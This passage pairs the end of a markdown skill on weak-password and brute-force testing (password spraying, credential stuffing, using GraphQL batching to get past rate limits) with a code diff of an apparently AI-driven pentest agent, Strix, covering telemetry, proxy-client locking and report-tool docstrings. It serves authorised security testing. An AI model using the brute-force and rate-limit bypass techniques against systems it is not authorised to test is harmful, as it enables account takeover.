- Custom lists from Cewl, CeWL, or target-specific scraping
- Breach compilation subsets filtered by target relevance
## Validation
1. Confirm successful login with captured credentials (session token, cookie, or JWT)
2. Verify account access level: admin vs user privileges
3. Check if MFA is enforced post-login or can be bypassed
4. Test credential reuse across other endpoints or services
5. Document password policy weaknesses that allowed the breach
6. Verify if the same credentials work on staging, dev, or related domains
## False Positives
- Honey accounts or honeypot responses designed to mislead attackers
- Temporary lockouts that resolve quickly (distinguish from permanent bans)
- Different error messages that don't actually indicate valid username enumeration
- CAPTCHA or WAF blocking that appears as a failed login
- Rate limiting that returns 429 instead of 401 (adjust timing)
## Impact
- Complete account takeover for affected users
- Administrative access leading to full system compromise
- Lateral movement via reused credentials across services
- Data exfiltration, privilege escalation, and persistence
- Reputational damage and compliance violations (GDPR, PCI-DSS)
## Pro Tips
1. Always start with default credentials and vendor-specific lists before broad brute-force
2. Enumerate usernames first; password brute-force without valid users is inefficient
3. Use small, targeted wordlists before massive lists like rockyou.txt
4. Monitor for rate limiting and adapt delays; aggressive brute-force causes IP bans and alerts
5. Test for password spraying (one password, many users) before targeted brute-force
6. Check for concurrent session limits; successful logins may kick out legitimate users
7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
9. When Hydra is unavailable, use ffuf or custom scripts with equivalent logic
10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
## Summary
Weak password detection requires systematic enumeration of authentication surfaces, intelligent wordlist selection, and careful brute-force execution. The highest impact often comes from default credentials, password spraying, and credential stuffing rather than exhaustive brute-force. Always validate findings with confirmed logins and assess the full scope of account compromise.
+2 -3
View File
@@ -2,7 +2,7 @@
To help make Strix better for everyone, we collect anonymized data that helps us understand how to better improve our AI security agent for our users, guide the addition of new features, and fix common errors and bugs. This feedback loop is crucial for improving Strix's capabilities and user experience.
We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis, along with [Scarf](https://scarf.sh). Our telemetry implementation is fully transparent - you can review the source code ([posthog.py](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py), [scarf.py](https://github.com/usestrix/strix/blob/main/strix/telemetry/scarf.py)) to see exactly what we track.
We use [PostHog](https://posthog.com), an open-source analytics platform, for data collection and analysis. Our telemetry implementation is fully transparent - you can review the [source code](https://github.com/usestrix/strix/blob/main/strix/telemetry/posthog.py) to see exactly what we track.
### Telemetry Policy
@@ -16,8 +16,7 @@ We collect only very **basic** usage data including:
**System Context:** OS type, architecture, Strix version\
**Scan Context:** Scan mode (quick/standard/deep), scan type (whitebox/blackbox)\
**Model Usage:** Which LLM model is being used (not prompts or responses)\
**Feature Usage:** Which built-in skills are loaded\
**Aggregate Metrics:** Vulnerability counts by severity and weakness category (CWE)
**Aggregate Metrics:** Vulnerability counts by severity
### What We **Never** Collect
-13
View File
@@ -63,18 +63,6 @@ _HANDLER_TAG = "_strix_scan_handler"
# ``openai.agents`` is the openai-agents SDK's canonical logger root.
_TRACKED_ROOTS: tuple[str, ...] = ("strix", "openai.agents")
_STDOUT_QUIET_ROOTS: frozenset[str] = frozenset({"openai.agents"})
class _StdoutQuietFilter(logging.Filter):
def filter(self, record: logging.LogRecord) -> bool:
if record.levelno >= logging.WARNING:
return True
return not any(
record.name == root or record.name.startswith(root + ".")
for root in _STDOUT_QUIET_ROOTS
)
def configure_dependency_logging() -> None:
"""Quiet dependency logging/warnings that obscure Strix scan logs."""
@@ -131,7 +119,6 @@ def setup_scan_logging(run_dir: Path, *, debug: bool | None = None) -> Callable[
stream_handler.setLevel(logging.DEBUG if debug else logging.ERROR)
stream_handler.setFormatter(formatter)
stream_handler.addFilter(context_filter)
stream_handler.addFilter(_StdoutQuietFilter())
setattr(stream_handler, _HANDLER_TAG, True)
tracked_loggers = [logging.getLogger(name) for name in _TRACKED_ROOTS]
+5 -24
View File
@@ -26,10 +26,10 @@ def _is_enabled() -> bool:
return load_settings().telemetry.enabled
def _send(event: str, properties: dict[str, Any]) -> bool:
def _send(event: str, properties: dict[str, Any]) -> None:
if not _is_enabled():
logger.debug("posthog disabled; skipping event %s", event)
return False
return
try:
payload = {
"api_key": _POSTHOG_PUBLIC_API_KEY,
@@ -46,10 +46,8 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
pass
except Exception: # noqa: BLE001
logger.debug("posthog send failed for event %s", event, exc_info=True)
return False
else:
logger.debug("posthog event sent: %s", event)
return True
def start(
@@ -73,34 +71,17 @@ def start(
)
def finding(severity: str, cwe: str | None = None, is_cve: bool = False) -> None:
def finding(severity: str) -> None:
_send(
"finding_reported",
{
**base_props(),
"severity": severity.lower(),
"cwe": (cwe or "").strip().lower() or "unknown",
"is_cve": is_cve,
},
)
def skill_loaded(skill_name: str) -> None:
_send(
"skill_loaded",
{
**base_props(),
"skill": skill_name,
},
)
def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
if report_state.posthog_scan_ended_sent:
return
if report_state.scan_ended_exit_reason is None:
report_state.scan_ended_exit_reason = exit_reason
vulnerabilities_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for v in report_state.vulnerability_reports:
sev = v.get("severity", "info").lower()
@@ -129,11 +110,11 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
except (TypeError, ValueError, AttributeError):
pass
report_state.posthog_scan_ended_sent = _send(
_send(
"scan_ended",
{
**base_props(),
"exit_reason": report_state.scan_ended_exit_reason,
"exit_reason": exit_reason,
"duration_seconds": round(duration),
"vulnerabilities_total": len(report_state.vulnerability_reports),
**{f"vulnerabilities_{k}": v for k, v in vulnerabilities_counts.items()},
+5 -25
View File
@@ -28,10 +28,10 @@ def _is_enabled() -> bool:
return load_settings().telemetry.enabled
def _send(event: str, properties: dict[str, Any]) -> bool:
def _send(event: str, properties: dict[str, Any]) -> None:
if not _is_enabled():
logger.debug("scarf disabled; skipping event %s", event)
return False
return
try:
props = dict(properties)
version = str(props.pop("strix_version", get_version()) or "unknown")
@@ -47,10 +47,8 @@ def _send(event: str, properties: dict[str, Any]) -> bool:
pass
except Exception: # noqa: BLE001
logger.debug("scarf send failed for event %s", event, exc_info=True)
return False
else:
logger.debug("scarf event sent: %s", event)
return True
def start(
@@ -75,36 +73,18 @@ def start(
)
def finding(severity: str, cwe: str | None = None, is_cve: bool = False) -> None:
def finding(severity: str) -> None:
_send(
"finding_reported",
{
**base_props(),
"session": SESSION_ID,
"severity": severity.lower(),
"cwe": (cwe or "").strip().lower() or "unknown",
"is_cve": is_cve,
},
)
def skill_loaded(skill_name: str) -> None:
_send(
"skill_loaded",
{
**base_props(),
"session": SESSION_ID,
"skill": skill_name,
},
)
def end(report_state: ReportState, exit_reason: str = "completed") -> None:
if report_state.scarf_scan_ended_sent:
return
if report_state.scan_ended_exit_reason is None:
report_state.scan_ended_exit_reason = exit_reason
vulnerabilities_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for v in report_state.vulnerability_reports:
sev = v.get("severity", "info").lower()
@@ -135,12 +115,12 @@ def end(report_state: ReportState, exit_reason: str = "completed") -> None:
except (TypeError, ValueError, AttributeError):
pass
report_state.scarf_scan_ended_sent = _send(
_send(
"scan_ended",
{
**base_props(),
"session": SESSION_ID,
"exit_reason": report_state.scan_ended_exit_reason,
"exit_reason": exit_reason,
"duration_seconds": round(duration),
"vulnerabilities_total": len(report_state.vulnerability_reports),
**{f"vulnerabilities_{k}": v for k, v in vulnerabilities_counts.items()},
+9 -22
View File
@@ -229,8 +229,7 @@ async def wait_for_message( # noqa: PLR0911
Use when you have nothing useful to do until a child/peer responds
typically after spawning subagents and you want to wait for
their completion reports. The agent automatically resumes when any
message arrives, so pick a ``timeout_seconds`` proportional to the
work you're awaiting.
message arrives.
**Critical caveats:**
@@ -247,19 +246,9 @@ async def wait_for_message( # noqa: PLR0911
reason: One-line note shown in graph snapshots while you're
waiting (helps a human or sibling agent debug who's stuck
on what).
timeout_seconds: Max seconds to wait (default 600). This is only
a cap the tool returns the INSTANT a message arrives, so a
larger value never makes you wait longer when the reply does
come. Right-size it to what you're waiting on: a short wait
(e.g. 10-60s) for a quick ack or a small/fast subtask, and a
longer one (e.g. ~100-200s) only for genuinely long-running
work (deep recon, exploitation, a full sub-scan). The cap only
bites when the expected message never arrives so an oversized
timeout on a trivial wait just strands you idle until it
elapses. On timeout the tool returns and you decide whether to
keep working or wait again. (Applies to autonomous multi-agent
runs; in interactive/chat sessions the agent instead parks until
a message arrives and this cap is not enforced.)
timeout_seconds: Hard cap (default 600s). On timeout the tool
returns and you decide whether to keep working or wait
again.
"""
inner = _ctx(ctx)
coordinator = coordinator_from_context(inner)
@@ -492,10 +481,9 @@ async def agent_finish(
3. Stops this subagent's execution.
**Vulnerability findings must already be filed via
``create_vulnerability_report`` (or ``create_dependency_report``
for known-CVE dependency/supply-chain findings) before calling
this.** The ``findings`` field here is for narrative summary only
it does not register vulns in the scan report.
``create_vulnerability_report`` before calling this.** The
``findings`` field here is for narrative summary only it does
not register vulns in the scan report.
Write the summary as if the parent has no idea what you were
doing: what did you test, what did you find/confirm/rule out,
@@ -506,9 +494,8 @@ async def agent_finish(
and specific (URLs, parameters, payloads that worked).
findings: Optional bullet list of confirmed observations. For
credit-bearing vulnerabilities, file
``create_vulnerability_report`` first (or
``create_dependency_report`` for dependency CVEs); this is
for narrative.
``create_vulnerability_report`` first; this is for
narrative.
success: Whether the assigned subtask was completed
successfully. Default ``True``.
report_to_parent: Whether to deliver the completion report to
+4 -101
View File
@@ -96,15 +96,6 @@ async def finish_scan(
2. Writes the four narrative sections to the scan record.
3. Marks the scan completed and stops execution.
**This is a terminal action, not a status probe.** Whatever you pass
is persisted VERBATIM as the final, customer-facing report and then
execution stops. There is no draft mode and no second chance: never
submit placeholder, provisional, or "checking if done" text in any
field, and never call ``finish_scan`` to poll whether subagents are
done (use ``view_agent_graph`` / ``wait_for_message`` for that).
Call it exactly ONCE, only when every field holds genuine, finished
assessment prose.
**Pre-flight checklist (mandatory do not skip):**
1. **Call ``view_agent_graph`` first.** Inspect every entry in the
@@ -117,39 +108,19 @@ async def finish_scan(
Calling ``finish_scan`` while children are alive orphans their
work and produces an incomplete report.
2. All vulnerabilities you found are filed via
``create_vulnerability_report`` or, for known-CVE dependency
findings, ``create_dependency_report`` (un-reported findings are
not tracked and not credited). A dependency CVE already filed via
``create_dependency_report`` counts as reported; it does NOT need
re-filing here and does NOT block finishing.
``create_vulnerability_report`` (un-reported findings are not
tracked and not credited).
3. Don't double-report — one report per distinct vulnerability.
4. **Attack-chaining gate.** Do NOT finish until you have genuinely
considered chaining the confirmed findings into higher-impact,
end-to-end attack paths and tested every plausibly-related
combination. You may rule out combinations you can confidently
call unrelated note why instead of padding chains. Any
validated chain must already be filed via
``create_vulnerability_report`` a demonstrated end-to-end chain
is a PoC-backed vulnerability, so it uses that tool even when one
link is a dependency CVE (the standalone CVE stays in its own
``create_dependency_report``) and surfaced prominently in
``executive_summary`` / ``technical_analysis``. Finding no real
chain after a serious attempt is acceptable; skipping the
chaining reasoning, or ignoring a plausibly-related combination,
is not.
**Calling this multiple times overwrites the previous report.**
Make the single call comprehensive.
**Report output rules** (this content may be rendered into generated
reports):
**Customer-facing report rules** (this output is rendered into the
final PDF the client sees):
- Never mention internal infrastructure: no local/absolute paths
(``/workspace/...``), no agent names, no sandbox/orchestrator/
tooling references, no system prompts, no model-internal errors.
Never leak internal identifiers (proxy request IDs, internal
vulnerability report IDs, or any system-generated IDs) into any
field.
- Tone: formal, third-person, objective, concise. This is a
consultant deliverable, not an engineering log.
- Each section has a specific role:
@@ -169,74 +140,6 @@ async def finish_scan(
(Immediate / Short-term / Medium-term), each with concrete
remediation steps. End with retest/validation guidance.
- **Formatting use markdown in every field.** These fields may be
rendered into generated reports, so structure them clearly: lead
each section with a short ``# Heading``, use ``**bold**`` for labels/emphasis,
``inline code`` for identifiers/paths/parameters, bullet or
numbered lists for enumerations, and fenced code blocks
(```` ```language ````) for any code/payload excerpts. Never emit
one flat wall of prose or leave code unformatted.
- If **zero** vulnerabilities were found, say so plainly and
characterize the posture positively; ``technical_analysis`` should
summarize the areas tested and confirm no issues, and
``recommendations`` should focus on general hardening.
Example (abbreviated mirror this structure, not the wording)::
executive_summary:
# Executive Summary
An external assessment of the **Acme Customer Portal**
identified multiple weaknesses that could lead to
unauthorized access to customer data.
**Overall risk posture:** Elevated.
**Key findings**
- Confirmed SSRF in a URL-preview feature reaching internal
network ranges.
- Broken tenant isolation enabling cross-tenant data access.
**Business impact**
- Potential exposure of customer records across tenants.
methodology:
# Methodology
Conducted per the **OWASP WSTG**.
**Engagement type:** Gray-box external test.
**Scope:** `https://app.acme.example`, `.../api/v1/`.
**Activities:** recon, authn/session review, authorization
and tenant-isolation testing, input/SSRF testing.
technical_analysis:
# Technical Analysis
**Severity model** reflects exploitability x impact.
1. **SSRF in URL preview** (Critical) insufficient
destination validation; reaches link-local addresses.
2. **Broken tenant isolation** (High) object identifiers
accepted without ownership checks.
**Systemic themes:** authorization enforced inconsistently;
no deny-by-default egress policy.
recommendations:
# Recommendations
**Immediate**
1. Remediate SSRF: enforce a destination allowlist,
deny-by-default, re-validate on every redirect hop.
**Short-term**
2. Centralize authorization with deny-by-default middleware.
**Retest & validation:** re-test immediate items to confirm
SSRF and tenant-isolation controls hold.
Args:
executive_summary: Business-level summary for leadership.
methodology: Frameworks, scope, and approach.
+40 -113
View File
@@ -21,8 +21,6 @@ from caido_sdk_client.types import (
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client as CaidoClient
@@ -44,7 +42,6 @@ _SITEMAP_PAGE_SIZE = 30
_DEFAULT_CAIDO_URL = "http://127.0.0.1:48080"
_CLIENT_CACHE: dict[str, Client] = {}
_CLIENT_LOCK = asyncio.Lock()
_REQ_FIELD_MAP: dict[SortBy, tuple[str, str]] = {
"timestamp": ("req", "created_at"),
"host": ("req", "host"),
@@ -84,46 +81,19 @@ def _login_as_guest() -> str:
return str(payload["data"]["loginAsGuest"]["token"]["accessToken"])
async def _new_client() -> Client:
async def get_client() -> Client:
if client := _CLIENT_CACHE.get("default"):
return client
token = await asyncio.to_thread(_login_as_guest)
client = Client(caido_url(), auth=TokenAuthOptions(token=token))
await client.connect()
_CLIENT_CACHE["default"] = client
return client
async def get_client() -> Client:
"""Return the shared Caido client, creating it under a lock if needed.
The lock prevents two concurrent callers from each building a client and
racing ``connect()`` on the same transport ("Transport is already
connected").
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return client
async def call_with_client[T](fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized through ``_CLIENT_LOCK``.
The Caido GraphQL transport is not safe for concurrent use: two in-flight
requests race and raise "Transport is already connected". Serializing every
proxy call through the lock prevents that.
"""
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.get("default")
if client is None:
client = await _new_client()
_CLIENT_CACHE["default"] = client
return await fn(client)
async def close_client() -> None:
async with _CLIENT_LOCK:
client = _CLIENT_CACHE.pop("default", None)
client = _CLIENT_CACHE.pop("default", None)
if client is None:
return
await client.aclose()
@@ -167,9 +137,6 @@ async def get_request_with_client(
return await client.request.get(request_id, opts)
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
def build_raw_request(
*,
method: str,
@@ -190,16 +157,7 @@ def build_raw_request(
final_headers = {**headers}
final_headers.setdefault("Host", parsed.netloc)
final_headers.setdefault("User-Agent", "strix")
# Framing headers inherited from the captured request describe the ORIGINAL
# body; once the body is modified for replay they are stale. We always send a
# plain (non-chunked) body with an explicit Content-Length, so drop any
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
# recompute the length from the body actually being sent. This keeps the two
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
# Transfer-Encoding would make the target ignore Content-Length and try to
# parse the body as chunked), so the replay is never desynced.
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
if body:
if body and "Content-Length" not in {k.title() for k in final_headers}:
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
lines = [f"{method.upper()} {path} HTTP/1.1"]
@@ -427,23 +385,19 @@ async def list_requests(
sort_order: SortOrder = "desc",
scope_id: str | None = None,
) -> Any:
return await call_with_client(
lambda client: list_requests_with_client(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
return await list_requests_with_client(
await get_client(),
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
async def view_request(request_id: str, *, part: RequestPart = "request") -> Any:
return await call_with_client(
lambda client: get_request_with_client(client, request_id, part=part)
)
return await get_request_with_client(await get_client(), request_id, part=part)
async def repeat_request(
@@ -452,26 +406,22 @@ async def repeat_request(
modifications: dict[str, Any] | None = None,
) -> dict[str, Any]:
mods = modifications or {}
result = await get_request_with_client(await get_client(), request_id, part="request")
if result is None or result.request.raw is None:
raise ValueError(f"Request {request_id} not found")
async def _run(client: CaidoClient) -> dict[str, Any]:
result = await get_request_with_client(client, request_id, part="request")
if result is None or result.request.raw is None:
raise ValueError(f"Request {request_id} not found")
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = parse_raw_request(raw_str)
full_url = full_url_from_components(original, components, mods)
modified = apply_modifications(components, mods, full_url)
connection, raw = build_raw_request(
method=modified["method"],
url=modified["url"],
headers=modified["headers"],
body=modified["body"],
)
return await replay_send_raw(client, raw=raw, connection=connection)
return await call_with_client(_run)
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = parse_raw_request(raw_str)
full_url = full_url_from_components(original, components, mods)
modified = apply_modifications(components, mods, full_url)
connection, raw = build_raw_request(
method=modified["method"],
url=modified["url"],
headers=modified["headers"],
body=modified["body"],
)
return await replay_send_raw(await get_client(), raw=raw, connection=connection)
async def scope_rules(
@@ -482,28 +432,7 @@ async def scope_rules(
scope_id: str | None = None,
scope_name: str | None = None,
) -> Any:
async def _run(client: CaidoClient) -> Any:
return await _scope_rules_with_client(
client,
action,
allowlist=allowlist,
denylist=denylist,
scope_id=scope_id,
scope_name=scope_name,
)
return await call_with_client(_run)
async def _scope_rules_with_client(
client: CaidoClient,
action: ScopeAction,
*,
allowlist: list[str] | None = None,
denylist: list[str] | None = None,
scope_id: str | None = None,
scope_name: str | None = None,
) -> Any:
client = await get_client()
if action == "list":
result = await scope_list(client)
elif action == "get":
@@ -722,20 +651,18 @@ async def list_sitemap(
page: int = 1,
page_size: int = _SITEMAP_PAGE_SIZE,
) -> dict[str, Any]:
return await call_with_client(
lambda client: list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
page_size=page_size,
)
return await list_sitemap_with_client(
await get_client(),
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
page_size=page_size,
)
async def view_sitemap_entry(entry_id: str) -> dict[str, Any]:
return await call_with_client(lambda client: view_sitemap_entry_with_client(client, entry_id))
return await view_sitemap_entry_with_client(await get_client(), entry_id)
__all__ = [
+32 -74
View File
@@ -2,7 +2,6 @@
from __future__ import annotations
import asyncio
import dataclasses
import json
import logging
@@ -20,8 +19,6 @@ logger = logging.getLogger(__name__)
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from caido_sdk_client import Client
from strix.tools.proxy.caido_api import (
@@ -41,23 +38,12 @@ else:
ScopeAction = Literal["get", "list", "create", "update", "delete"]
# All agents in a scan share one host-side Caido client whose GraphQL transport
# is not concurrency-safe (parallel calls raise "Transport is already
# connected"). Serialize every host-side proxy call through this lock.
_CAIDO_CALL_LOCK = asyncio.Lock()
def _ctx_client(ctx: RunContextWrapper) -> Client | None:
inner = ctx.context if isinstance(ctx.context, dict) else {}
return inner.get("caido_client")
async def _call[T](client: Client, fn: Callable[[Client], Awaitable[T]]) -> T:
"""Run ``fn`` against the shared client, serialized under ``_CAIDO_CALL_LOCK``."""
async with _CAIDO_CALL_LOCK:
return await fn(client)
def _to_tool_json(value: Any) -> Any:
"""Recursively convert SDK dataclasses/Pydantic objects to tool JSON values."""
if value is None or isinstance(value, str | int | float | bool):
@@ -160,17 +146,14 @@ async def list_requests(
return _no_client()
try:
connection = await _call(
connection = await caido_api.list_requests_with_client(
client,
lambda client: caido_api.list_requests_with_client(
client,
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
),
httpql_filter=httpql_filter,
first=first,
after=after,
sort_by=sort_by,
sort_order=sort_order,
scope_id=scope_id,
)
entries = []
@@ -266,10 +249,7 @@ async def view_request(
return _no_client()
try:
result = await _call(
client,
lambda client: caido_api.get_request_with_client(client, request_id, part=part),
)
result = await caido_api.get_request_with_client(client, request_id, part=part)
if result is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
@@ -384,10 +364,15 @@ async def repeat_request(
return _no_client()
mods = modifications or {}
async def _do(client: Client) -> dict[str, Any] | None:
try:
result = await caido_api.get_request_with_client(client, request_id, part="request")
if result is None or result.request.raw is None:
return None
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
ensure_ascii=False,
default=str,
)
original = result.request
raw_str = result.request.raw.decode("utf-8", errors="replace")
components = caido_api.parse_raw_request(raw_str)
@@ -399,16 +384,7 @@ async def repeat_request(
headers=modified["headers"],
body=modified["body"],
)
return await caido_api.replay_send_raw(client, raw=raw, connection=connection)
try:
replay = await _call(client, _do)
if replay is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
ensure_ascii=False,
default=str,
)
replay = await caido_api.replay_send_raw(client, raw=raw, connection=connection)
return _format_replay_tool_result(replay)
except Exception as exc: # noqa: BLE001
return _err("repeat_request", exc)
@@ -465,15 +441,12 @@ async def list_sitemap(
if client is None:
return _no_client()
try:
payload = await _call(
payload = await caido_api.list_sitemap_with_client(
client,
lambda client: caido_api.list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
),
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
@@ -499,10 +472,7 @@ async def view_sitemap_entry(
if client is None:
return _no_client()
try:
payload = await _call(
client,
lambda client: caido_api.view_sitemap_entry_with_client(client, entry_id),
)
payload = await caido_api.view_sitemap_entry_with_client(client, entry_id)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
return _err("view_sitemap_entry", exc)
@@ -560,7 +530,7 @@ async def scope_rules(
try:
if action == "list":
scopes = await _call(client, caido_api.scope_list)
scopes = await caido_api.scope_list(client)
return json.dumps(
{"success": True, "scopes": [_to_tool_json(s) for s in scopes]},
ensure_ascii=False,
@@ -573,11 +543,9 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(client, lambda client: caido_api.scope_get(client, scope_id))
scope = await caido_api.scope_get(client, scope_id)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
)
if action == "create":
if not scope_name:
@@ -586,16 +554,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(
client,
lambda client: caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
),
scope = await caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
)
if action == "update":
if not scope_id or not scope_name:
@@ -607,16 +570,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(
client,
lambda client: caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
),
scope = await caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
default=str,
{"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
)
if not scope_id:
return json.dumps(
@@ -624,7 +582,7 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
await _call(client, lambda client: caido_api.scope_delete(client, scope_id))
await caido_api.scope_delete(client, scope_id)
return json.dumps(
{
"success": True,
+8 -444
View File
@@ -148,12 +148,8 @@ _REQUIRED_FIELDS = {
"poc_description": "PoC description cannot be empty",
"poc_script_code": "PoC script/code is REQUIRED - provide the actual exploit/payload",
"remediation_steps": "Remediation steps cannot be empty",
"evidence": "Evidence cannot be empty - provide concrete proof of the finding",
"assumptions": "Assumptions cannot be empty - state exploitability prerequisites",
}
_VALID_FIX_EFFORT = frozenset({"trivial", "low", "medium", "high"})
async def _do_create( # noqa: PLR0912
*,
@@ -165,16 +161,12 @@ async def _do_create( # noqa: PLR0912
poc_description: str,
poc_script_code: str,
remediation_steps: str,
evidence: str,
assumptions: str,
fix_effort: str,
cvss_breakdown: dict[str, str],
endpoint: str | None,
method: str | None,
cve: str | None,
cwe: str | None,
code_locations: list[dict[str, Any]] | None,
fix_pr_body: str | None = None,
agent_id: str | None = None,
agent_name: str | None = None,
) -> dict[str, Any]:
@@ -188,19 +180,11 @@ async def _do_create( # noqa: PLR0912
"poc_description": poc_description,
"poc_script_code": poc_script_code,
"remediation_steps": remediation_steps,
"evidence": evidence,
"assumptions": assumptions,
}
for name, msg in _REQUIRED_FIELDS.items():
if not str(fields.get(name) or "").strip():
errors.append(msg)
fix_effort = (fix_effort or "").strip().lower()
if fix_effort not in _VALID_FIX_EFFORT:
errors.append(
f"Invalid fix_effort: {fix_effort!r}. Must be one of: {sorted(_VALID_FIX_EFFORT)}"
)
if not isinstance(cvss_breakdown, dict) or not cvss_breakdown:
errors.append("cvss_breakdown: must be an object with the 8 CVSS metrics")
cvss_breakdown = {}
@@ -284,9 +268,6 @@ async def _do_create( # noqa: PLR0912
poc_description=poc_description,
poc_script_code=poc_script_code,
remediation_steps=remediation_steps,
evidence=evidence,
assumptions=assumptions,
fix_effort=fix_effort,
cvss=cvss_score,
cvss_breakdown=cvss_breakdown,
endpoint=endpoint,
@@ -294,7 +275,6 @@ async def _do_create( # noqa: PLR0912
cve=cve,
cwe=cwe,
code_locations=parsed_locations,
fix_pr_body=fix_pr_body,
agent_id=agent_id if isinstance(agent_id, str) else None,
agent_name=agent_name if isinstance(agent_name, str) else None,
)
@@ -329,16 +309,12 @@ async def create_vulnerability_report(
poc_description: str,
poc_script_code: str,
remediation_steps: str,
evidence: str,
assumptions: str,
fix_effort: str,
cvss_breakdown: dict[str, str],
endpoint: str | None = None,
method: str | None = None,
cve: str | None = None,
cwe: str | None = None,
code_locations: list[dict[str, Any]] | None = None,
fix_pr_body: str | None = None,
) -> str:
"""File a vulnerability report — one report per fully-verified finding.
@@ -351,46 +327,24 @@ async def create_vulnerability_report(
- Suspicions you haven't confirmed with a PoC.
- Tracking multiple vulnerabilities at once one report per vuln.
- Re-reporting something you (or another agent) already filed.
- Known-CVE dependency / supply-chain findings that can't be
dynamically PoC'd — a vulnerable dependency version pinned in a
lockfile/manifest that matches a published advisory. File those
with ``create_dependency_report`` instead, never with this tool.
Automatic LLM-based **deduplication** rejects reports that describe
the same root cause on the same asset as an existing report. If you
get a ``duplicate_of`` response, do NOT retry move on to other
areas.
**Report output rules** (this content may be rendered into generated
reports):
**Customer-facing report rules** (the report is PDF-rendered for
delivery):
- No internal/system details: never mention paths like
``/workspace``, internal tools, agents, sandboxes, models, system
prompts, internal errors / stack traces, or tester environment.
Never leak internal identifiers (proxy request IDs, internal
report IDs) into any field.
- Tone: formal, objective, third-person, vendor-neutral, concise.
Avoid internal-guidance headings like "QUICK", "Approach", or
"Techniques" that read like an engineering runbook rather than a
client deliverable.
- **Use markdown in every text field**: ``**bold**`` for emphasis,
``inline code`` for identifiers/values/parameters, and fenced
code blocks (```` ```language ````) for any code/payload/HTTP
excerpt. Never leave code bare/unformatted. When referencing a
file, annotate the fence, e.g.
```` ```python title=app.py startLineNumber=42 endLineNumber=50 ````.
- Field discipline: ``poc_description`` is steps only NO code (all
code goes in ``poc_script_code``); ``remediation_steps`` is prose
only NO code/diffs (code fixes go in ``code_locations``).
- Standard finding structure: Overview Severity & CVSS
Affected assets Technical details PoC (steps + code)
Impact Remediation Evidence (in technical_analysis).
- Numbered steps allowed only in PoC and Remediation sections.
- Avoid hedging language; be precise and non-vague.
- Follow a standard pentest report structure across the fields:
(1) overview (``description``), (2) severity & CVSS vector
(``cvss_breakdown``), (3) affected asset(s) (``target`` /
``endpoint``), (4) technical details (``technical_analysis``),
(5) proof of concept (``poc_description`` + ``poc_script_code``),
(6) impact (``impact``), (7) evidence (``evidence``), and
(8) remediation (``remediation_steps``).
**White-box requirement**: when source is available, you MUST
populate ``code_locations``. See the ``code_locations`` arg below
@@ -422,30 +376,6 @@ async def create_vulnerability_report(
"availability": "H"
}
**CVSS calibration** score the weakness you actually proved, not a
hypothetical worst case. Most over-rating comes from these mistakes:
- **Don't presuppose a separate compromise.** If exploitation
requires the attacker to already hold a victim secret (a stolen
session cookie/token, a leaked one-time link, intercepted traffic),
that acquisition is not free. Do not score it as
``privileges_required:N`` with ``attack_complexity:L`` as if
directly reachable, and do not rate a replay-of-captured-secret
issue High/Critical unless the *same* finding demonstrates a
concrete way to obtain that secret. Issues like a session that
survives logout or a replayable link are session-management /
defense-in-depth weaknesses usually Low/Medium on their own.
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
